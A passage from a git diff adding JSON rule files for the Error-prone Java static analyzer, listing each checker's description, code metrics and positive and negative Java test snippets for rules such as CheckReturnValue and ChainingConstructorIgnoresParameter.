"expected-linenumbers": [ + 106 + ], + "code": "" + }, + { + "description": "positive_finally", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "class Test {\n public void test() {\n try {\n if (true) throw new NoSuchMethodException();\n if (true) throw new NoSuchFieldException();\n System.err.println();\n } catch (NoSuchMethodException | NoSuchFieldException expected) {\n org.junit.Assert.fail();\n } finally {\n }\n }\n }\n \n\n class Test {\n public void test() throws NoSuchMethodException, NoSuchFieldException {\n try {\n if (true) throw new NoSuchMethodException();\n if (true) throw new NoSuchFieldException();\n System.err.println();\n } finally {\n }\n }\n }" + }, + { + "description": "positive_otherCatch", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "class Test {\n public void test() {\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail();\n } catch (Error e) {\n }\n }\n }\n \n\n class Test {\n public void test() throws Exception {\n try {\n System.err.println();\n } catch (Error e) {\n }\n }\n }" + }, + { + "description": "negative_nonTest", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "import org.junit.Test;\n\n class Foo {\n public void f() {\n try {\n System.err.println();\n } catch (Exception expected) {\n // BUG: Diagnostic contains:\n org.junit.Assert.fail();\n }\n }\n }" + }, + { + "description": "useException", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "import org.junit.Test;\n\n class Foo {\n @Test\n public void f() {\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail(\"oh no \" + expected);\n }\n }\n }" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "" + }, + { + "description": "deleteEmptyTry", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "import org.junit.Test;\n\n class Foo {\n @Test\n public void f() {\n try {\n } catch (Exception expected) {\n org.junit.Assert.fail(\"oh no \");\n }\n }\n }\n \n\n import org.junit.Test;\n\n class Foo {\n @Test\n public void f() {}\n }" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 238 + ], + "code": "" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 253 + ], + "code": "" + }, + { + "description": "failVariations", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "class Foo {\n public void f() {\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail();\n }\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail(\"oh no \");\n }\n }\n }\n \n\n class Foo {\n public void f() {\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail();\n }\n try {\n System.err.println();\n } catch (Exception expected) {\n throw new AssertionError(\"oh no \", expected);\n }\n }\n }" + }, + { + "description": "expected", + "expected-problems": null, + "expected-linenumbers": [ + 303 + ], + "code": "import org.junit.Test;\n import java.io.IOException;\n\n class Foo {\n @Test(expected = IOException.class)\n public void f() {\n try {\n throw new IOException();\n } catch (IOException expected) {\n org.junit.Assert.fail();\n }\n }\n }\n \n\n import org.junit.Test;\n import java.io.IOException;\n\n class Foo {\n @Test(expected = IOException.class)\n public void f() {\n try {\n throw new IOException();\n } catch (IOException expected) {\n org.junit.Assert.fail();\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchingUnchecked.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchingUnchecked.json new file mode 100644 index 0000000..cfd39b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchingUnchecked.json @@ -0,0 +1,38 @@ +{ + "name": "CatchingUnchecked", + "language": "java", + "description": "This catch block catches `Exception`, but can only catch unchecked exceptions. Consider catching RuntimeException (or something more specific) instead so it is more apparent that no checked exceptions are being handled.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 8, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void test() {\n try {\n this.hashCode();\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "positiveMultiCatch", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.io.IOException;\n\n class Test {\n void test() {\n try {\n throw new IOException();\n } catch (IOException e) {\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "class Test {\n void test() {\n try {\n throw new Exception();\n } catch (Exception e) {\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainedAssertionLosesContext.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainedAssertionLosesContext.json new file mode 100644 index 0000000..2b74650 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainedAssertionLosesContext.json @@ -0,0 +1,30 @@ +{ + "name": "ChainedAssertionLosesContext", + "language": "java", + "description": "Inside a Subject, use check(...) instead of assert*() to preserve user-supplied messages and other settings.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 268, + "branches": 37, + "apis": 13, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.truth.Truth.assertAbout;\nimport static com.google.common.truth.Truth.assertWithMessage;\nimport static com.google.common.truth.Truth.assert_;\n\nimport com.google.common.truth.FailureMetadata;\nimport com.google.common.truth.Subject;\nimport com.google.common.truth.Truth;\n\n/**\n * @author cpovirk@google.com (Chris Povirk)\n */\npublic class ChainedAssertionLosesContextPositiveCases {\n static final class FooSubject extends Subject {\n private final Foo actual;\n\n static Factory foos() {\n return FooSubject::new;\n }\n\n static FooSubject assertThat(Foo foo) {\n return assertAbout(foos()).that(foo);\n }\n\n private FooSubject(FailureMetadata metadata, Foo actual) {\n super(metadata, actual);\n this.actual = actual;\n }\n\n void hasString(String expected) {\n // BUG: Diagnostic contains: check(\"string()\").that(actual.string()).isEqualTo(expected)\n Truth.assertThat(actual.string()).isEqualTo(expected);\n }\n\n void hasOtherFooInteger(int expected) {\n // BUG: Diagnostic contains:\n // check(\"otherFoo().integer()\").that(actual.otherFoo().integer()).isEqualTo(expected)\n Truth.assertThat(actual.otherFoo().integer()).isEqualTo(expected);\n }\n\n FooSubject otherFooAbout() {\n // BUG: Diagnostic contains: check(\"otherFoo()\").about(foos()).that(actual.otherFoo())\n return assertAbout(foos()).that(actual.otherFoo());\n }\n\n FooSubject otherFooThat() {\n // BUG: Diagnostic contains: check(\"otherFoo()\").about(foos()).that(actual.otherFoo())\n return assertThat(actual.otherFoo());\n }\n\n void withMessage(String expected) {\n // BUG: Diagnostic contains:\n // check(\"string()\").withMessage(\"blah\").that(actual.string()).isEqualTo(expected)\n assertWithMessage(\"blah\").that(actual.string()).isEqualTo(expected);\n }\n\n void withMessageWithArgs(String expected) {\n // BUG: Diagnostic contains:\n // check(\"string()\").withMessage(\"%s\", \"blah\").that(actual.string()).isEqualTo(expected)\n assertWithMessage(\"%s\", \"blah\").that(actual.string()).isEqualTo(expected);\n }\n\n void plainAssert(String expected) {\n // BUG: Diagnostic contains:\n // check(\"string()\").that(actual.string()).isEqualTo(expected)\n assert_().that(actual.string()).isEqualTo(expected);\n }\n }\n\n private static final class Foo {\n final String string;\n final int integer;\n\n Foo(String string, int integer) {\n this.string = string;\n this.integer = integer;\n }\n\n String string() {\n return string;\n }\n\n int integer() {\n return integer;\n }\n\n Foo otherFoo() {\n return this;\n }\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertAbout;\n import static com.google.common.truth.Truth.assertThat;\n\n import com.google.common.truth.FailureMetadata;\n import com.google.common.truth.Subject;\n\n /**\n * @author cpovirk@google.com (Chris Povirk)\n */\n public class ChainedAssertionLosesContextNegativeCases {\n static final class FooSubject extends Subject {\n private final Foo actual;\n\n private FooSubject(FailureMetadata metadata, Foo actual) {\n super(metadata, actual);\n this.actual = actual;\n }\n\n static Factory foos() {\n return FooSubject::new;\n }\n\n static FooSubject assertThat(Foo foo) {\n return assertAbout(foos()).that(foo);\n }\n }\n\n void someTestMethod() {\n assertThat(\"\").isNotNull();\n }\n\n private static final class Foo {\n final String string;\n final int integer;\n\n Foo(String string, int integer) {\n this.string = string;\n this.integer = integer;\n }\n\n String string() {\n return string;\n }\n\n int integer() {\n return integer;\n }\n\n Foo otherFoo() {\n return this;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainingConstructorIgnoresParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainingConstructorIgnoresParameter.json new file mode 100644 index 0000000..7705cb1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainingConstructorIgnoresParameter.json @@ -0,0 +1,30 @@ +{ + "name": "ChainingConstructorIgnoresParameter", + "language": "java", + "description": "The called constructor accepts a parameter with the same name and type as one of its caller's parameters, but its caller doesn't pass that parameter to it. It's likely that it was intended to.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 195, + "branches": 18, + "apis": 12, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.errorprone.bugpatterns.testdata.ChainingConstructorIgnoresParameterPositiveCases.Location.TEST_TARGET;\n\n/**\n * @author cpovirk@google.com (Chris Povirk)\n */\npublic class ChainingConstructorIgnoresParameterPositiveCases {\n static class MissileLauncher {\n MissileLauncher(Location target, boolean askForConfirmation) {}\n\n MissileLauncher(Location target) {\n this(target, false);\n }\n\n MissileLauncher(boolean askForConfirmation) {\n // BUG: Diagnostic contains: this(TEST_TARGET, askForConfirmation)\n this(TEST_TARGET, false);\n }\n }\n\n static class ClassRatherThanPrimitive {\n ClassRatherThanPrimitive(String foo, boolean bar) {}\n\n ClassRatherThanPrimitive(String foo) {\n // BUG: Diagnostic contains: this(foo, false)\n this(\"default\", false);\n }\n }\n\n static class CallerBeforeCallee {\n CallerBeforeCallee(String foo) {\n // BUG: Diagnostic contains: this(foo, false)\n this(\"default\", false);\n }\n\n CallerBeforeCallee(String foo, boolean bar) {}\n }\n\n static class AssignableButNotEqual {\n AssignableButNotEqual(Object foo, boolean bar) {}\n\n AssignableButNotEqual(String foo) {\n // BUG: Diagnostic contains: this(foo, false)\n this(\"default\", false);\n }\n }\n\n static class HasNestedClassCallerFirst {\n HasNestedClassCallerFirst(String foo) {\n // BUG: Diagnostic contains: this(foo, false)\n this(\"somethingElse\", false);\n }\n\n static class NestedClass {}\n\n HasNestedClassCallerFirst(String foo, boolean bar) {}\n }\n\n static class HasNestedClassCalleeFirst {\n HasNestedClassCalleeFirst(String foo, boolean bar) {}\n\n static class NestedClass {}\n\n HasNestedClassCalleeFirst(String foo) {\n // BUG: Diagnostic contains: this(foo, false)\n this(\"somethingElse\", false);\n }\n }\n\n static class MultipleQueuedErrors {\n MultipleQueuedErrors(Location target) {\n // BUG: Diagnostic contains: this(target, false)\n this(TEST_TARGET, false);\n }\n\n MultipleQueuedErrors(boolean askForConfirmation) {\n // BUG: Diagnostic contains: this(TEST_TARGET, askForConfirmation)\n this(TEST_TARGET, false);\n }\n\n MultipleQueuedErrors(Location target, boolean askForConfirmation) {}\n }\n\n enum Location {\n TEST_TARGET\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.io.File;\n\n/**\n * @author cpovirk@google.com (Chris Povirk)\n */\npublic class ChainingConstructorIgnoresParameterNegativeCases {\n static class ImplicitThisCall {\n ImplicitThisCall() {}\n\n ImplicitThisCall(String foo) {}\n }\n\n static class ExplicitNoArgThisCall {\n ExplicitNoArgThisCall() {}\n\n ExplicitNoArgThisCall(String foo) {\n this();\n }\n }\n\n static class ParameterNotAvailable {\n ParameterNotAvailable(String foo, boolean bar) {}\n\n ParameterNotAvailable(String foo) {\n this(foo, false);\n }\n }\n\n static class ParameterDifferentType {\n ParameterDifferentType(File foo) {}\n\n ParameterDifferentType(String foo) {\n this(new File(\"/tmp\"));\n }\n }\n\n static class ParameterUsedInExpression {\n ParameterUsedInExpression(String foo, boolean bar) {}\n\n ParameterUsedInExpression(String foo) {\n this(foo.substring(0), false);\n }\n }\n\n /** Make sure that we don't confuse a nested class's constructor with the containing class's. */\n static class HasNestedClass {\n HasNestedClass(String foo) {\n this(\"somethingElse\", false);\n }\n\n static class NestedClass {\n NestedClass(String foo, boolean bar) {}\n }\n\n HasNestedClass(String notFoo, boolean bar) {}\n }\n\n static class HasNestedClassesWithSameName {\n static class Outer1 {\n static class Inner {\n Inner(String foo, boolean bar) {}\n }\n }\n\n static class Outer2 {\n static class Inner {\n Inner(String foo) {\n this(\"somethingElse\", false);\n }\n\n Inner(String notFoo, boolean bar) {}\n }\n }\n }\n\n class NonStaticClass {\n NonStaticClass(String foo, boolean bar) {}\n\n NonStaticClass(String foo) {\n this(foo, false);\n }\n }\n\n static class Varargs1 {\n Varargs1(String foo, boolean... bar) {}\n\n Varargs1() {\n this(\"something\", false, false);\n }\n }\n\n static class Varargs2 {\n Varargs2(String foo, boolean... bar) {}\n\n Varargs2() {\n this(\"something\");\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CharacterGetNumericValue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CharacterGetNumericValue.json new file mode 100644 index 0000000..7cec552 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CharacterGetNumericValue.json @@ -0,0 +1,78 @@ +{ + "name": "CharacterGetNumericValue", + "language": "java", + "description": "getNumericValue has unexpected behaviour: it interprets A-Z as base-36 digits with values 10-35, but also supports non-arabic numerals and miscellaneous numeric unicode characters like ㊷; consider using Character.digit or UCharacter.getUnicodeNumericValue instead", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "characterGetNumericValue_unexpectedBehavior", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "" + }, + { + "description": "uCharacterGetNumericValue_unexpectedBehavior", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "" + }, + { + "description": "characterDigit_expectedBehavior", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "" + }, + { + "description": "uCharacterDigit_expectedBehavior", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "" + }, + { + "description": "character_getNumericValue_char", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import java.lang.Character;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: CharacterGetNumericValue\n Character.getNumericValue('A');\n }\n }" + }, + { + "description": "character_getNumericValue_int", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import java.lang.Character;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: CharacterGetNumericValue\n Character.getNumericValue(41);\n }\n }" + }, + { + "description": "uCharacter_getNumericValue_char", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "import com.ibm.icu.lang.UCharacter;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: CharacterGetNumericValue\n UCharacter.getNumericValue(41);\n }\n }" + }, + { + "description": "uCharacter_getNumericValue_int", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import com.ibm.icu.lang.UCharacter;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: CharacterGetNumericValue\n UCharacter.getNumericValue(41);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckNotNullMultipleTimes.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckNotNullMultipleTimes.json new file mode 100644 index 0000000..0630e69 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckNotNullMultipleTimes.json @@ -0,0 +1,54 @@ +{ + "name": "CheckNotNullMultipleTimes", + "language": "java", + "description": "A variable was checkNotNulled multiple times. Did you mean to check something else?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 13, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n\n class Test {\n Test(Integer a, Integer b) {\n checkNotNull(a);\n // BUG: Diagnostic contains:\n checkNotNull(a);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n\n class Test {\n Test(Integer a, Integer b) {\n checkNotNull(a);\n checkNotNull(b);\n }\n }" + }, + { + "description": "conditional_noError", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n\n class Test {\n Test(Integer a) {\n if (hashCode() > 0) {\n checkNotNull(a);\n } else {\n checkNotNull(a);\n }\n }\n }" + }, + { + "description": "assignedTwice_noError", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n\n class Test {\n int a;\n\n Test(Integer a) {\n this.a = checkNotNull(a);\n checkNotNull(a);\n }\n }" + }, + { + "description": "withinTryAndCatch_noError", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckReturnValue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckReturnValue.json new file mode 100644 index 0000000..adb3095 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckReturnValue.json @@ -0,0 +1,374 @@ +{ + "name": "CheckReturnValue", + "language": "java", + "description": "The result of this call must be used", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 381, + "branches": 29, + "apis": 3, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.errorprone.annotations.CheckReturnValue;\nimport org.junit.rules.ExpectedException;\n\n/**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\npublic class CheckReturnValuePositiveCases {\n\n IntValue intValue = new IntValue(0);\n\n @CheckReturnValue\n private int increment(int bar) {\n return bar + 1;\n }\n\n public void foo() {\n int i = 1;\n // BUG: Diagnostic contains: The result of `increment(...)` must be used\n //\n // If you really don't want to use the result, then assign it to a variable: `var unused = ...`.\n //\n // If callers of `increment(...)` shouldn't be required to use its result, then annotate it with\n // `@CanIgnoreReturnValue`.\n increment(i);\n System.out.println(i);\n }\n\n public void bar() {\n // BUG: Diagnostic contains: this.intValue = this.intValue.increment()\n this.intValue.increment();\n }\n\n public void testIntValue() {\n IntValue value = new IntValue(10);\n // BUG: Diagnostic contains: value = value.increment()\n value.increment();\n }\n\n private void callRunnable(Runnable runnable) {\n runnable.run();\n }\n\n public void testResolvedToVoidLambda() {\n // BUG: Diagnostic contains:\n callRunnable(() -> this.intValue.increment());\n }\n\n public void testResolvedToVoidMethodReference(boolean predicate) {\n // BUG: Diagnostic contains: The result of `increment()` must be used\n //\n // `this.intValue::increment` acts as an implementation of `Runnable.run`\n // -- which is a `void` method, so it doesn't use the result of `increment()`.\n //\n // To use the result, you may need to restructure your code.\n //\n // If you really don't want to use the result, then switch to a lambda that assigns it to a\n // variable: `() -> { var unused = ...; }`.\n //\n // If callers of `increment()` shouldn't be required to use its result, then annotate it with\n // `@CanIgnoreReturnValue`.\n callRunnable(this.intValue::increment);\n // BUG: Diagnostic contains: The result of `increment()` must be used\n callRunnable(predicate ? this.intValue::increment : this.intValue::increment2);\n }\n\n public void testConstructorResolvedToVoidMethodReference() {\n // BUG: Diagnostic contains: The result of `new MyObject()` must be used\n //\n // `MyObject::new` acts as an implementation of `Runnable.run`\n // -- which is a `void` method, so it doesn't use the result of `new MyObject()`.\n //\n // To use the result, you may need to restructure your code.\n //\n // If you really don't want to use the result, then switch to a lambda that assigns it to a\n // variable: `() -> { var unused = ...; }`.\n //\n // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with\n // `@CanIgnoreReturnValue`.\n callRunnable(MyObject::new);\n }\n\n public void testRegularLambda() {\n callRunnable(\n () -> {\n // BUG: Diagnostic contains:\n this.intValue.increment();\n });\n }\n\n public void testBeforeAndAfterRule() {\n // BUG: Diagnostic contains:\n new IntValue(1).increment();\n ExpectedException.none().expect(IllegalStateException.class);\n new IntValue(1).increment(); // No error here, last statement in block\n }\n\n public void constructor() {\n // BUG: Diagnostic contains: The result of `new MyObject()` must be used\n new MyObject() {};\n\n class MySubObject1 extends MyObject {}\n\n class MySubObject2 extends MyObject {\n MySubObject2() {}\n }\n\n class MySubObject3 extends MyObject {\n MySubObject3() {\n super();\n }\n }\n\n // BUG: Diagnostic contains: The result of `new MyObject()` must be used\n //\n // If you really don't want to use the result, then assign it to a variable: `var unused = ...`.\n //\n // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with\n // `@CanIgnoreReturnValue`.\n new MyObject();\n }\n\n private class IntValue {\n final int i;\n\n public IntValue(int i) {\n this.i = i;\n }\n\n @javax.annotation.CheckReturnValue\n public IntValue increment() {\n return new IntValue(i + 1);\n }\n\n public void increment2() {\n // BUG: Diagnostic contains:\n this.increment();\n }\n\n public void increment3() {\n // BUG: Diagnostic contains:\n increment();\n }\n }\n\n private static class MyObject {\n @CheckReturnValue\n MyObject() {}\n }\n\n private abstract static class LB1 {}\n\n private static class LB2 extends LB1 {\n\n @CheckReturnValue\n public static LB2 lb1() {\n return new LB2();\n }\n\n public static LB2 lb2() {\n // BUG: Diagnostic contains:\n lb1();\n return lb1();\n }\n }\n\n private static class JavaxAnnotation {\n @javax.annotation.CheckReturnValue\n public static int check() {\n return 1;\n }\n\n public static void ignoresCheck() {\n // BUG: Diagnostic contains:\n check();\n }\n }\n}\\" + }, + { + "description": "customCheckReturnValueAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "package foo.bar;\n\n public @interface CheckReturnValue {}\n \n\n package test;\n\n import foo.bar.CheckReturnValue;\n\n public class TestCustomCheckReturnValueAnnotation {\n @CheckReturnValue\n public String getString() {\n return \"string\";\n }\n\n public void doIt() {\n // BUG: Diagnostic contains: CheckReturnValue\n getString();\n }\n }" + }, + { + "description": "customCanIgnoreReturnValueAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "package foo.bar;\n\n public @interface CanIgnoreReturnValue {}\n \n\n package test;\n\n import foo.bar.CanIgnoreReturnValue;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class TestCustomCanIgnoreReturnValueAnnotation {\n @CanIgnoreReturnValue\n public String ignored() {\n return null;\n }\n\n public void doIt() {\n ignored();\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.errorprone.annotations.CheckReturnValue;\n import java.util.function.Supplier;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class CheckReturnValueNegativeCases {\n\n public void test1() {\n test2();\n Object obj = new String();\n obj.toString();\n }\n\n @SuppressWarnings(\"foo\") // wrong annotation\n public void test2() {}\n\n @CheckReturnValue\n private int mustCheck() {\n return 5;\n }\n\n private int nothingToCheck() {\n return 42;\n }\n\n private void callRunnable(Runnable runnable) {\n runnable.run();\n }\n\n private void testNonCheckedCallsWithMethodReferences() {\n Object obj = new String();\n callRunnable(String::new);\n callRunnable(this::test2);\n callRunnable(obj::toString);\n }\n\n private void callSupplier(Supplier supplier) {\n supplier.get();\n }\n\n public void testResolvedToIntLambda(boolean predicate) {\n callSupplier(() -> mustCheck());\n callSupplier(predicate ? () -> mustCheck() : () -> nothingToCheck());\n }\n\n public void testMethodReference(boolean predicate) {\n callSupplier(this::mustCheck);\n callSupplier(predicate ? this::mustCheck : this::nothingToCheck);\n }\n }\\" + }, + { + "description": "packageAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 364 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n package lib;\n \n\n package lib;\n\n public class Lib {\n public static int f() {\n return 42;\n }\n }\n \n\n class Test {\n void m() {\n // BUG: Diagnostic contains: CheckReturnValue\n lib.Lib.f();\n }\n }" + }, + { + "description": "classAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 397 + ], + "code": "package lib;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class Lib {\n public static int f() {\n return 42;\n }\n }\n \n\n class Test {\n void m() {\n // BUG: Diagnostic contains: CheckReturnValue\n lib.Lib.f();\n }\n }" + }, + { + "description": "voidReturningMethodInAnnotatedPackage", + "expected-problems": null, + "expected-linenumbers": [ + 426 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n package lib;\n \n\n package lib;\n\n public class Lib {\n public static void f() {}\n }\n \n\n class Test {\n void m() {\n lib.Lib.f();\n }\n }" + }, + { + "description": "badCRVOnProcedure", + "expected-problems": null, + "expected-linenumbers": [ + 456 + ], + "code": "package lib;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class Test {\n @com.google.errorprone.annotations.CheckReturnValue\n // BUG: Diagnostic contains: may not be applied to void-returning methods\n public static void f() {}\n }" + }, + { + "description": "badCRVOnPseudoProcedure", + "expected-problems": null, + "expected-linenumbers": [ + 474 + ], + "code": "package lib;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class Test {\n @com.google.errorprone.annotations.CheckReturnValue\n // BUG: Diagnostic contains: may not be applied to void-returning methods\n public static Void f() {\n return null;\n }\n }" + }, + { + "description": "packageAnnotationButCanIgnoreReturnValue", + "expected-problems": null, + "expected-linenumbers": [ + 494 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n package lib;\n \n\n package lib;\n\n public class Lib {\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public static int f() {\n return 42;\n }\n }\n \n\n class Test {\n void m() {\n lib.Lib.f();\n }\n }" + }, + { + "description": "classAnnotationButCanIgnoreReturnValue", + "expected-problems": null, + "expected-linenumbers": [ + 527 + ], + "code": "package lib;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class Lib {\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public static int f() {\n return 42;\n }\n }\n \n\n class Test {\n void m() {\n lib.Lib.f();\n }\n }" + }, + { + "description": "badCanIgnoreReturnValueOnProcedure", + "expected-problems": null, + "expected-linenumbers": [ + 555 + ], + "code": "package lib;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class Test {\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n // BUG: Diagnostic contains: may not be applied to void-returning methods\n public static void f() {}\n }" + }, + { + "description": "nestedClassAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 573 + ], + "code": "package lib;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class Lib {\n public static class Inner {\n public static class InnerMost {\n public static int f() {\n return 42;\n }\n }\n }\n }\n \n\n class Test {\n void m() {\n // BUG: Diagnostic contains: CheckReturnValue\n lib.Lib.Inner.InnerMost.f();\n }\n }" + }, + { + "description": "nestedClassWithCanIgnoreAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 605 + ], + "code": "package lib;\n\n @com.google.errorprone.annotations.CheckReturnValue\n public class Lib {\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public static class Inner {\n public static class InnerMost {\n public static int f() {\n return 42;\n }\n }\n }\n }\n \n\n class Test {\n void m() {\n lib.Lib.Inner.InnerMost.f();\n }\n }" + }, + { + "description": "packageWithCanIgnoreAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 637 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n package lib;\n \n\n package lib;\n\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public class Lib {\n public static int f() {\n return 42;\n }\n }\n \n\n class Test {\n void m() {\n lib.Lib.f();\n }\n }" + }, + { + "description": "errorBothClass", + "expected-problems": null, + "expected-linenumbers": [ + 670 + ], + "code": "@com.google.errorprone.annotations.CanIgnoreReturnValue\n@com.google.errorprone.annotations.CheckReturnValue\n// BUG: Diagnostic contains: @CheckReturnValue and @CanIgnoreReturnValue cannot be applied to the\n// same class\nclass Test {}" + }, + { + "description": "errorBothMethod", + "expected-problems": null, + "expected-linenumbers": [ + 685 + ], + "code": "class Test {\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n @com.google.errorprone.annotations.CheckReturnValue\n // BUG: Diagnostic contains: @CheckReturnValue and @CanIgnoreReturnValue cannot be applied to the\n // same method\n void m() {}\n}" + }, + { + "description": "javaLangVoidReturningMethodInAnnotatedPackage", + "expected-problems": null, + "expected-linenumbers": [ + 703 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n package lib;\n \n\n package lib;\n\n public class Lib {\n public static Void f() {\n return null;\n }\n }\n \n\n class Test {\n void m() {\n lib.Lib.f();\n }\n }" + }, + { + "description": "ignoreVoidReturningMethodReferences", + "expected-problems": null, + "expected-linenumbers": [ + 735 + 